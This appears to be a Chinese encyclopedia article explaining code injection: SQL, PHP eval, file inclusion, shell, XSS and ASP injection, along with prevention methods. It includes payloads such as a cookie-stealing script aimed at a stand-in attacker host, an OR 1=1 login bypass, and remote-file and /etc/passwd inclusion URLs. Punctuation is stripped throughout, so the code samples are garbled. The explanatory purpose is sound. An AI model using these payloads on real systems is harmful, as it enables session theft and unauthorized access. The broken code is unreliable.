程式碼注入是因處理無效資料的而引發的程式錯誤。程式碼注入可被攻擊者用來匯入程式碼到某特定的電腦程式，以改變程式的執行程序或目的。程式碼注入攻擊的結果可以是災難性的。例如說：程式碼注入可作為許多電腦蠕蟲繁殖的溫床。 概說及例子 舉例說，有一間公司的網頁伺服器上有一個簽名簿的程式碼，用來讓使用者發表簡短的口信，例如： Nice site 不過，這個程式碼原來有跨網站指令碼漏洞。一個意圖入侵者得悉這間公司採用了有問題的程式碼，於是試圖透過留下一條附帶有程式碼的口信，例如： Nice Site I think Ill take itscriptdocumentlocationhttpsome_attackercookiecgi documentcookiescript 如果另一個使用者檢視了該頁，被注入的程式碼即執行。該程式碼可讓攻擊者扮裝成另一個使用者。然而這個相同的軟體臭蟲可被使用者意外的觸發，亦即造成該網站暴露 HTML 程式碼。 That post was awesome 在這個案例裡表情符號可造成 HTML 程式碼不對稱，因為不對稱的 HTML 標籤被注入到程式碼裡。 大部分這類的問題與哪些可能輸入資料，或者特殊資料效果的錯誤假設相關。一些軟體開發員可能犯下危險假設的經典範例如下： 假設某程式介面使用的元字元永遠不會在輸入中出現；例如假設英文半形標點符號如引號或者半括弧永不出現。 假設只有阿拉伯數字字元會當成輸入鍵入。 假設輸入永遠不會超過固定欄位大小。 假設阿拉伯數字只會相等或少於上限。 假設阿拉伯數字只會相等或大於下限。 假設使用者端原本伺服端提供的預設值 例如表單的隱藏欄位或者 cookie 無法於使用者端被使用者修改。這種假設忽略了眾所皆知的攻擊如 cookie 下毒：在此 cookie 值被惡意使用者強制設定。 假設從輸入端取得指標或者陣列索引不會出問題。 假設輸入端永遠不會提供關於它自己或者其他相關值的虛假資訊，例如檔案大小許多檔案格式開始直接宣告該檔案手頭有多少資料，以及某些其他值。在不細心開發的軟體中，瞭解在這宣告裡的資料總合可導致快取溢位 例如，程式設計不嚴謹的網頁瀏覽器。這常常將程式碼注入弱點攤在陽光下。這是許多波及檔案 特別是圖形以及媒體檔案 保全漏洞的背後的元兇。 程式碼注入的用途 蓄意的用途 惡意使用 程式碼注入的使用一般被視為心懷惡意的舉動，而它確實常常如此。透過程式碼注入技術在黑或者破解系統上，以取得資訊、提權、或者非法存取某系統是相當流行的。 惡意用途的程式碼注入可包括： 透過 SQL 注入 見下文 隨意修改資料庫中的值。影響所及可從某網站外觀損毀，到對敏感資料嚴重的破壞。 當使用者拜訪惡意網站時，透過網頁瀏覽器或其外掛的漏洞安全隱患，進行程式碼注入，以便安裝流氓軟體到使用者機器上。 透過 PHP 或者 ASP 注入安裝流氓軟體或者執行惡意程式碼於伺服器端。 於 UNIX 系統利用 Shell 注入安全隱患對二進位資料作修改，達成提權到 root 使用許可權的目的。 於視窗系統利用 Shell 注入安全隱患對系統服務做手腳，達成提權到本地端系統使用許可權的目的。 從網頁瀏覽器利用 HTML 指令碼注入 跨網站指令碼 進行連線竊取 cookies 竊取進而冒充他人，取得他人個人敏感資料。 善意使用 某些人可能會出於善意而使用程式碼注入。例如，透過程式碼注入以改變或者除錯某程式或者系統的行為可以「擺弄」系統以某種方式表現其行為而不懷任何惡意。打比方說： 程式碼注入可以添入某原本搜尋結果頁面設計上沒有的欄位，方便使用者。 透過對原本設計預設函式沒有曝光的欄位賦值，程式碼注入可提供一個全新的方式來過濾、排序、或者歸類資料。 這些人訴諸此種替代手段大致是下面幾種原因之一： 對軟體中希望改進函式進行潤飾的其他方法證明不可能，或者 其他對軟體修改的方式代價過高，或者 其他對軟體修改的方式過度艱苦。 一般開發社群對以此為目的的程式碼注入不表歡迎。他們稱這種行為為三腳貓、半調子、或者駭 黑程式。kludge or hack 某些開發者允許或者甚至表揚程式碼注入的使用來「加強」他們的軟體；通常是因為該方案提供了較不昂貴的方式來實現新的或者特殊化的功能。不幸的是，其副作用與無法列管的蘊含式可能相當危險。 一般來說，即使相當善意的程式碼注入使用都不被建議使用。 非蓄意的用途 某些使用者可能會不經意進行程式碼注入，因為他們對程式提供的輸入，沒列在當初開發系統者的考慮中。例如： 使用者可能視某個包含表示字元或者字元字串為合法輸入，而不知該字元被開發者所保留而有特殊意義（像「張三 李四」裡的「」字元，或者英文約翰的 MM 巧克力：「Johns MMs」裡的單引號。 使用者可能會提交格式錯亂的檔案做為輸入。這種行為對單一程式沒什麼問題，但可能對整個接收系統是災難。 避免程式碼注入 要避免程式碼注入的種種問題，得充分發揮輸入輸出處理保全，例如： 輸入確認。 更換危險字元。例如在 PHP 透過 addslashes 函式保護 SQL 注入。 輸入編碼。 輸出編碼。 採用其他沒有飽受程式碼注入漏洞困擾的程式設計實現，例如「引數化 SQL 查詢」 parameterized SQL queries 又名 prepared statements 亦有時稱 bind variables 。 程式碼注入範例 SQL 注入 SQL 注入是種乘 SQL 語法之利，注入可讀取或者修改資料庫、或者扭曲原始查詢意義的命令。 以一個網頁有兩個欄位讓使用者輸入使用者名稱與密碼為例，在該網頁幕後工作的程式碼會產生 SQL 查詢以檢查密碼是否與使用者名稱稱密碼列表相符： SELECT UserListUsername FROM UserList WHERE UserListUsername Username AND UserListPassword Password 如果這查詢有回應行數，便允許該存取。然而，如果惡意使用者鍵入合法使用者名稱，並且在密碼欄注入某些合法程式碼 password OR 11，查詢結果便如下所示： SELECT UserListUsername FROM UserList WHERE UserListUsername Username AND UserListPassword password OR 11 在上面範例裡，Password 被假定為空白或者某個無害的字串。11 邏輯式將永遠為真，並且找到多少行就回應多少行，因此存取就被允許了。 該技術可被精練成允許執行多重陳述，甚或載入外部程式。 PHP 注入 PHP 注入、ASP 注入、以及其他類似技術術語是創造來泛指其他種種允許攻擊者直接對伺服器指令碼引擎提供程式碼的程式碼注入攻擊。在 PHP 注入 例項裡，伺服端指令碼引擎是 PHP。 實際上，PHP 注入是「動態賦值安全隱患」、「包含檔案注入」、或者類似程式碼注入的安全隱患。 動態賦值安全隱患 mitreorg 的史蒂芬克利斯第 Steven M Christey 提議以這個名字作為這型別的程式碼注入安全隱患。 動態賦值安全隱患 Eval 注入 eval 注入安全隱患發生在攻擊者可控制所有或者部份作為「餵」給 eval 函式呼叫的輸入字串。 myvar somevalue x _GET arg eval myvar x eval 的引數將會視同 PHP 處理，所以額外的命令可被新增。例如：如果 arg 如果被設成 10 system binecho uhoh，後面的 system binecho uhoh 程式碼將被執行，這等同在伺服器上執行開發者意料外的程式。在這範例裡頭是 binecho。 動態賦值安全隱患 動態變數賦值 如在 Dynamic Evaluation Vulnerabilities in PHP applications 一文所定義的： PHP 支援 變數的變數，意指變數或者表示式可以對其他變數名賦值。這種特性可用來於程式執行時期動態改變哪個變數被存取或給值。這種特性是把雙刃劍：強大、便利、同時也很危險。 許多程式有下面類似程式碼： safevar 0 param1 param2 param3 my own register globals for param 123 foreach _GET as key value key value 如果攻擊者在查詢字串中給定 safevarbad，那 safevar 將會被設為值 bad。 動態賦值安全隱患 動態函式賦值 下面 PHP 範例將按照請求的方式執行函式。 myfunc _GET myfunc myfunc 以及： myfunc _GET myfunc myfunc 包含檔案注入 考慮下面的 PHP 程式 這裡包含了個檔案可因應需求改變： php color blue if __isset _GET COLOR color _GET COLOR require color php form methodget select nameCOLOR option valueredredoption option valueblueblueoption select input typesubmit form 開發者認為這樣大概可以保證只有 bluephp 和 redphp 可被載入。不過隨著任何人可在 COLOR 輕易的插入隨意值，造成以下檔案注入的可能性： vulnerablephpCOLORhttpevilexploit 注入遠端機器上有漏洞的檔案。 vulnerablephpCOLORCftpuploadexploit 從一個已經上載、叫做 exploitphp 檔案執行其程式碼。 vulnerablephpCOLORetcpasswd00 讓攻擊者取得該 UNIX 系統目錄檢索下密碼檔案的內容。 vulnerablephpCOLORCnotestxt00 一個使用空元字元以解除php 副檔名限制，允許存取其他非 php 結尾檔案。 PHP 預設值 magic_quotes_gpc On 可以終止這種攻擊 Shell 注入 Shell 注入又稱命令列介面注入，它命名源於 Unix Shell，不過可套用到大部分允許軟體程式化地執行命令列介面的系統上。常見的 Shell 注入資源有 system 、StartProcess 、javalangRuntimeexec 、SystemDiagnosticsProcessStart 以及類似的應用程式介面。 考慮下面的簡短 PHP 程式。它執行一段叫做 funnytext 的外部程式，以置換使用者送出的許多其他單字： php passthru homeuserphpgurufunnytext _GET USER_INPUT 該程式可以以多種方式被注入： 命令 將會執行 命令 命令 將會執行 命令 命令 將會執行 命令，並輸出命令的結果。 命令 將會執行 命令，並輸出命令的結果。 命令 將會執行 命令，並輸出命令的結果。 命令 將會執行 命令，並輸出命令的結果。 homeuserphpgurubashrc 將會覆寫檔案 bashrc homeuserphpgurubashrc 將會將檔案 bashrc 送出，當成是 funnytext 的輸入。 註：命令指的是命令列介面下可供輸入執行的命令，例如視窗平臺的 dir、UNIX 平臺的 ls 等等。 PHP 提供 escapeshellarg 和 escapeshellcmd 以在呼叫方法以前進行編碼。然而，實際上並不建議相信這些方法是安全的 同樣必須對輸入確認 消毒。 HTML 注入 指令碼注入 跨網站指令碼 HTML 注入 指令碼注入是個炒得相當熱的話題，一般專業術語為跨網站指令碼（Crosssite scripting，通常簡稱為 XSS）。XSS 指的是一種依靠使用者輸入到網頁尾本，或者某些像程式碼行被置於輸出 HTML，而沒有檢查 HTML 程式碼或指令碼的注入漏洞。 這種注入有兩個基本型如下： 主動式 型 1 這種型態的 XSS 漏洞比較不危險，因為使用者輸入被置於動態產生的網頁。伺服器端沒有任何改變。 被動式 型 2 這種型態比較危險，因為輸入是寫在靜態網頁上，故威脅是持續性的。 於 IE7 透過感染的動態連結函式庫 DLL 實行 HTML 注入 根據英國技術網站 The Register 的文獻指出，HTML 注入亦可發生在使用者本身被有問題的 DLL 感染過的系統身上。該文獻引用羅傑湯森 Roger Thompson 的說法：受害者的瀏覽器，實際上，訪問了 PayPal 或其他類似的網站，甚或某動態連結檔案將它自己插入 IE，並試著在交易進行中讀取並修改 HTML。該文獻提及使用這種手段的釣魚攻擊順利規避 IE7 與賽門鐵克嘗試偵測可疑網站的努力。 ASP 注入 ASP 注入、PHP 注入、以及其他類似技術術語是創造來泛指其他種種允許攻擊者直接對伺服器指令碼引擎提供程式碼的程式碼注入攻擊。在 ASP 注入 例項裡，伺服端指令碼引擎是微軟 Active Server Pages，一種微軟 IIS 的外加元件。 在實際上與 PHP 相似，ASP 注入也是「動態賦值安全隱患」、「包含檔案注入」、或者類似程式碼注入的安全隱患。 範例： If Not IsEmpty Request username Then Const ForReading 1 ForWriting 2 ForAppending 8 Dim fso f Set fso CreateObject ScriptingFileSystemObject Set f fsoOpenTextFile ServerMapPath userlogtxt ForAppending True fWrite Request username vbCrLf fclose Set f nothing Set fso Nothing List of logged users pre ServerExecute userlogtxt pre Else form input nameusername input typesubmit namesubmit form End If 在這個範例中，使用者可用命令而非使用者名稱取代輸入。 參看 除錯 惡意程式：木馬程式 參考 外部連結 Article The Crosssite Scripting FAQ By Robert CGISecuritycom Article Three Ways to Inject Your Code into Another Process by Robert Kuster Article Inject your code to a Portable Executable file by A Danehkar Article Injective Code inside Import Table by A Danehkar Article Defending against Injection Attacks through ContextSensitive String Evaluation CSSE by Tadeusz Pietraszek and Chris Vanden Berghe News article Flux spreads wider First Trojan horse to make use of code injection to prevent detection from a firewall The Daily WTF regularly reports realworld incidences of susceptibility to code injection in software Known code injection vulnerabilities since 2001 by Armorize Technologies 知名的程式碼注入檢測程式 NStalker Web Application Security Scanner Sandcat Web Vulnerability Scanner Maui Security Scanner Category 惡意軟體 Category 注入漏洞